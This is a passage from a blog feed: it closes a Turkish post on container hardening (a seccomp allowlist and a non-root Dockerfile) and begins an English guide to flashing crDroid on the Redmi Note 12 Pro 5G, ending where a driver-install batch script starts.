&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"setresuid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setreuid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setrlimit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setsid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"setsockopt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setuid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"shmctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"shmdt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"shmget"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"shutdown"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sigaltstack"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"signalfd4"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"socket"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"socketpair"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"splice"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"stat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"statfs"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"statx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"symlink"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"symlinkat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sync"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"sync_file_range"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sysinfo"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tee"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tgkill"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"time"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"timer_create"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"timer_delete"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"timer_getoverrun"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"timer_gettime"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"timer_settime"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"timerfd_create"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"timerfd_gettime"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"timerfd_settime"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"tkill"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"truncate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"umask"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"uname"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"unlink"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"unlinkat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"unshare"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"utimensat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"utimes"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"vfork"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"vmsplice"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"wait4"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"waitid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"write"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"writev"&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SCMP_ACT_ALLOW"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu profili uygulamak i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;--security-opt&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;seccomp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;node-seccomp.json&lt;span class="w"&gt; &lt;/span&gt;my-app
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="hepsini-bir-araya-getirelim-guvenli-dockerfile"&gt;🏗️ Hepsini Bir Araya Getirelim: G&amp;uuml;venli Dockerfile&lt;a class="headerlink" href="#hepsini-bir-araya-getirelim-guvenli-dockerfile" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bahsetti&amp;gbreve;imiz t&amp;uuml;m ad&amp;inodot;mlar&amp;inodot; ve sinyal y&amp;ouml;netimini d&amp;uuml;zg&amp;uuml;n yapan &lt;code&gt;tini&lt;/code&gt; entegrasyonunu i&amp;ccedil;eren, &amp;uuml;retime (production) haz&amp;inodot;r g&amp;uuml;venli Dockerfile &amp;scedil;ablonumuz &amp;scedil;&amp;ouml;yledir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. A&amp;scedil;ama: Derleme (Build)&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:20-slim&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;builder&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci&lt;span class="w"&gt; &lt;/span&gt;--only&lt;span class="o"&gt;=&lt;/span&gt;production

&lt;span class="c"&gt;# 2. A&amp;scedil;ama: &amp;Ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rma (Runtime)&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:20-slim&lt;/span&gt;
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;groupadd&lt;span class="w"&gt; &lt;/span&gt;--system&lt;span class="w"&gt; &lt;/span&gt;--gid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;appuser&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;useradd&lt;span class="w"&gt; &lt;/span&gt;--system&lt;span class="w"&gt; &lt;/span&gt;--uid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--gid&lt;span class="w"&gt; &lt;/span&gt;appuser&lt;span class="w"&gt; &lt;/span&gt;appuser

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="c"&gt;# Dosyalar&amp;inodot; do&amp;gbreve;rudan root olmayan kullan&amp;inodot;c&amp;inodot;n&amp;inodot;n sahipli&amp;gbreve;inde kopyal&amp;inodot;yoruz&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;--chown&lt;span class="o"&gt;=&lt;/span&gt;appuser:appuser&lt;span class="w"&gt; &lt;/span&gt;/app/node_modules&lt;span class="w"&gt; &lt;/span&gt;./node_modules
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--chown&lt;span class="o"&gt;=&lt;/span&gt;appuser:appuser&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.

&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;appuser&lt;/span&gt;
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;

&lt;span class="c"&gt;# Sinyal y&amp;ouml;netimi i&amp;ccedil;in tini kurulumu yap&amp;inodot;yoruz&lt;/span&gt;
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;update&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-y&lt;span class="w"&gt; &lt;/span&gt;--no-install-recommends&lt;span class="w"&gt; &lt;/span&gt;tini&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;clean&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;rm&lt;span class="w"&gt; &lt;/span&gt;-rf&lt;span class="w"&gt; &lt;/span&gt;/var/lib/apt/lists/*
&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/tini"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"--"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"server.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Konteyner g&amp;uuml;venli&amp;gbreve;i, ba&amp;scedil;&amp;inodot;m&amp;inodot;za bir olay gelene kadar erteledi&amp;gbreve;imiz ama ba&amp;scedil;&amp;inodot;m&amp;inodot;za geldi&amp;gbreve;inde geriye d&amp;ouml;n&amp;uuml;k d&amp;uuml;zeltmesi en sanc&amp;inodot;l&amp;inodot; olan konulardan biridir. Konsept kurulum a&amp;scedil;amas&amp;inodot;nda bu d&amp;ouml;rt ad&amp;inodot;m&amp;inodot; (root olmayan kullan&amp;inodot;c&amp;inodot;, yeteneklerin d&amp;uuml;&amp;scedil;&amp;uuml;r&amp;uuml;lmesi, salt okunur dosya sistemi ve seccomp) uygulamak s&amp;inodot;f&amp;inodot;r maliyetlidir ve sonras&amp;inodot;nda ya&amp;scedil;anacak g&amp;uuml;venlik sanc&amp;inodot;lar&amp;inodot;n&amp;inodot;n &amp;ouml;n&amp;uuml;ne ge&amp;ccedil;er.&lt;/p&gt;
&lt;h2 id="ilgili-yazlar"&gt;🔗 &amp;Idot;lgili Yaz&amp;inodot;lar&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/nginx-ters-vekil-sunucu-yapilandirmak/"&gt;Nginx'i Ters Vekil Sunucu Olarak Yap&amp;inodot;land&amp;inodot;rmak&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/docker-imaj-boyutu-kucultme-rehberi/"&gt;&amp;Scedil;i&amp;scedil;ko Docker &amp;Idot;majlar&amp;inodot;na Diyet: 1.2 GB'tan 78 MB'a Yolculuk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/linux-tcp-tuning-node-js-microservices/"&gt;Node.js Mikroservisleri &amp;Idot;&amp;ccedil;in Linux TCP Tuning ve Kernel Ayarlar&amp;inodot;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Linux yetenekleri, root yetkilerini daha k&amp;uuml;&amp;ccedil;&amp;uuml;k par&amp;ccedil;alara b&amp;ouml;lerek i&amp;scedil;lemlere da&amp;gbreve;&amp;inodot;tan g&amp;uuml;venlik mekanizmas&amp;inodot;d&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Secure Computing Mode; sistem &amp;ccedil;a&amp;gbreve;r&amp;inodot;lar&amp;inodot;n&amp;inodot; filtreleyerek &amp;ccedil;ekirdek d&amp;uuml;zeyinde k&amp;inodot;s&amp;inodot;tlamalar uygulayan Linux g&amp;uuml;venlik mod&amp;uuml;l&amp;uuml;d&amp;uuml;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sunucu"/><category term="Docker"/><category term="Node.js"/><category term="Güvenlik"/><category term="DevOps"/><category term="Konteyner"/></entry><entry><title>crDroid Installation Guide for Redmi Note 12 Pro 5G (ruby)</title><link href="https://yuceltoluyag.github.io/en/redmi-note-12-pro-5g-crdroid-kurulum-rehberi/" rel="alternate"/><published>2026-06-14T00:22:00+03:00</published><updated>2026-06-14T00:22:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-14:/en/redmi-note-12-pro-5g-crdroid-kurulum-rehberi/</id><summary type="html">&lt;p&gt;Step-by-step guide to installing crDroid Custom ROM on your Redmi Note 12 Pro 5G (ruby/rubyx) using OrangeFox Recovery.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I had previously written a &lt;a href="/en/redmi-note-8-pro-custom-rom-kurulumu/"&gt;Redmi Note 8 Pro Custom ROM Installation&lt;/a&gt;&lt;sup id="fnref:4"&gt;&lt;a class="footnote-ref" href="#fn:4"&gt;4&lt;/a&gt;&lt;/sup&gt; guide for myself. I had grown so used to the crDroid world that I loved using on my old Redmi Note 8 that I didn't expect the next adventure to be this "wet".&lt;/p&gt;
&lt;p&gt;Here is exactly how it went down, my friend: while my wife was cleaning the house, our toddler got mad at a video on YouTube Kids. Unable to control their anger, they dunked the Redmi Note 12 Pro 5G into the mop bucket a few times, performing an experimental "water resistance test" of their own, and then handed the phone to their mom. Of course, the phone was knocked out instantly. After buying a new phone for my wife, I had this old workhorse repaired, and it ended up with me.&lt;/p&gt;
&lt;p&gt;But when I turned the device on, those ridiculous ads, unremovable bloatware, and that bloated interface that doesn't get updates (HyperOS) annoyed me so much that I said, "It's time to bring the crDroid joy of the old Note 8 to this one." So today, I'll explain step-by-step how to install crDroid on our famous device code-named ruby&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; from scratch, using the method I applied myself.&lt;/p&gt;
&lt;p&gt;Installing custom ROMs on MediaTek processors always seems a bit scary, but when you follow the right steps, the process is actually quite simple. If you follow this guide to the end, you will rescue your device from the sluggishness of HyperOS and enjoy a buttery-smooth crDroid experience.&lt;/p&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Data Loss Warning&lt;/p&gt;
&lt;p&gt;During these operations, all data on your device will be completely wiped. Make sure you transfer your photos, backups, and important files to your computer. Also, these operations might void your device's warranty. The responsibility is entirely yours.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Imported (Repaired) Devices and EFS / NVRAM Warning&lt;/p&gt;
&lt;p&gt;On MediaTek devices with a virtual A/B partition table, during a clean install (Format Data) or ROM migrations, the &lt;strong&gt;EFS, NVRAM, and NVDATA&lt;/strong&gt; partitions that house the device's network calibration and hardware identity files might be wiped. Therefore:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Backup:&lt;/strong&gt; Before starting the process, it is recommended to back up these partitions via an advanced recovery tool like &lt;strong&gt;TWRP or OrangeFox&lt;/strong&gt; on your device and save it to your computer. The crDroid Recovery does not support backups.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Imported Devices:&lt;/strong&gt; If you have an imported device and its network activation (IMEI process) was done via software modifications, the Format Data or ROM installation steps will wipe this software patch and return the device to its factory settings. Even if you complete the setup successfully and do bootloader spoofing, you will definitely need to visit a technician to renew the patching process to get your network working again. The most trouble-free way for this process is to apply it on official, BTK-approved Turkish licensed devices. If you are going to apply this guide on an imported device, you should know from the start that such an external technical service expense will arise.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="pre-installation-preparations"&gt;🛠️ Pre-Installation Preparations&lt;a class="headerlink" href="#pre-installation-preparations" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Before starting the operations, some tools need to be ready on our computer and phone:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Unlocked Bootloader:&lt;/strong&gt; Your device's bootloader must be unlocked. You cannot install a custom ROM if the bootloader is locked.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Platform Tools:&lt;/strong&gt; Drivers must be installed for ADB and Fastboot commands to run on your computer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Files:&lt;/strong&gt; You need to download and prepare the following files on your computer:&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;crDroid ROM zip&lt;/strong&gt; file compatible with Redmi Note 12 Pro 5G. You can download the files from the official &lt;a href="https://crdroid.net/rubyx" rel="noopener noreferrer" target="_blank"&gt;crDroid.net/rubyx&lt;/a&gt; page (make sure to choose the file carrying the common code-name &lt;code&gt;rubyx&lt;/code&gt; when downloading).&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;crDroid Recovery (&lt;code&gt;boot.img&lt;/code&gt;)&lt;/strong&gt; file compatible with your device. (Due to the virtual A/B structure, the recovery is directly inside the boot partition).&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;GApps&lt;/strong&gt; package compatible with your ROM version if you want to use Google services&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;li&gt;(Optional) &lt;strong&gt;Magisk zip&lt;/strong&gt; file if you want root privileges&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bootloader Spoofing files&lt;/strong&gt; for network and baseband activation: &lt;code&gt;ruby-lk-kaeru.bin.signed.img&lt;/code&gt; and &lt;code&gt;preloader_raw.img&lt;/code&gt; (or &lt;code&gt;preloader_ruby.bin&lt;/code&gt;)&lt;sup id="fnref:5"&gt;&lt;a class="footnote-ref" href="#fn:5"&gt;5&lt;/a&gt;&lt;/sup&gt;. You can obtain these from the &lt;a href="https://drive.google.com/drive/folders/1kSbwkNFpNVxVgadq-oOEmCSmMPY_GBID?usp=sharing" rel="noopener noreferrer" target="_blank"&gt;Google Drive&lt;/a&gt; folder.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h2 id="step-by-step-installation-stages"&gt;🏗️ Step-by-Step Installation Stages&lt;a class="headerlink" href="#step-by-step-installation-stages" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="verifying-device-model-and-connection-optional"&gt;Verifying Device Model and Connection (Optional)&lt;a class="headerlink" href="#verifying-device-model-and-connection-optional" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Before starting the process, make sure your phone is turned on, USB Debugging is active, and verify with these commands from your computer:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;devices
List&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;devices&lt;span class="w"&gt; &lt;/span&gt;attached
79orfygmgecmw84t&lt;span class="w"&gt;        &lt;/span&gt;device

$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;shell&lt;span class="w"&gt; &lt;/span&gt;getprop&lt;span class="w"&gt; &lt;/span&gt;ro.product.device
ruby

$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;shell&lt;span class="w"&gt; &lt;/span&gt;getprop&lt;span class="w"&gt; &lt;/span&gt;ro.product.model
22101316G
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you see the device identity and &lt;code&gt;ruby&lt;/code&gt; code-name as above, your device is perfectly suited for this guide.&lt;/p&gt;
&lt;h3 id="step-1-putting-the-device-into-fastboot-mode"&gt;Step 1: Putting the Device into Fastboot Mode&lt;a class="headerlink" href="#step-1-putting-the-device-into-fastboot-mode" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;First, we put our phone into Fastboot mode so we can send commands from the computer.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Recommended Method (Command Line):&lt;/strong&gt; If your phone is turned on and connected to the computer, you can switch directly to Fastboot mode by entering this command in the terminal:
  &lt;code&gt;bash
  $ adb reboot bootloader&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Alternative Method (Key Combination):&lt;/strong&gt; When the phone is turned off, press and hold the &lt;strong&gt;Power&lt;/strong&gt; and &lt;strong&gt;Volume Down&lt;/strong&gt; keys at the same time. Release the keys when you see the "FASTBOOT" text or icon on the screen, and connect it to the computer via USB cable.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="step-2-confirming-the-device-code-name"&gt;Step 2: Confirming the Device Code-Name&lt;a class="headerlink" href="#step-2-confirming-the-device-code-name" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;To make sure the ROM file we downloaded matches your device, open a terminal (cmd or powershell) inside the Platform Tools folder and run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;fastboot&lt;span class="w"&gt; &lt;/span&gt;getvar&lt;span class="w"&gt; &lt;/span&gt;product
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;When you run this command, you should get &lt;code&gt;product: ruby&lt;/code&gt; or &lt;code&gt;product: rubyx&lt;/code&gt; in the terminal. If you see another device code, stop the operations immediately.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Device Detection Issue&lt;/p&gt;
&lt;p&gt;If the command runs but the line underneath remains empty, it means the Xiaomi Fastboot drivers are missing on your computer. In this case, instead of doing a manual install, you can copy this practical batch script to a text document, save it with a &lt;code&gt;.bat&lt;/code&gt; extension (e.g., &lt;code&gt;install-drivers.bat&lt;/code&gt;), and run it as an administrator:&lt;/p&gt;
&lt;p&gt;Alternatively, you can manually update the &lt;a href="http://bigota.d.miui.com/tools/xiaomi_usb_driver.rar" rel="noopener noreferrer" target="_blank"&gt;Xiaomi USB Driver&lt;/a&gt; file you extracted to your desktop via Device Manager. Detailed steps are in the troubleshooting section at the end of the post.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    &lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="k"&gt;echo&lt;/span&gt; off
    &lt;span class="k"&gt;echo&lt;/span&gt; Starting driver installation, please wait...
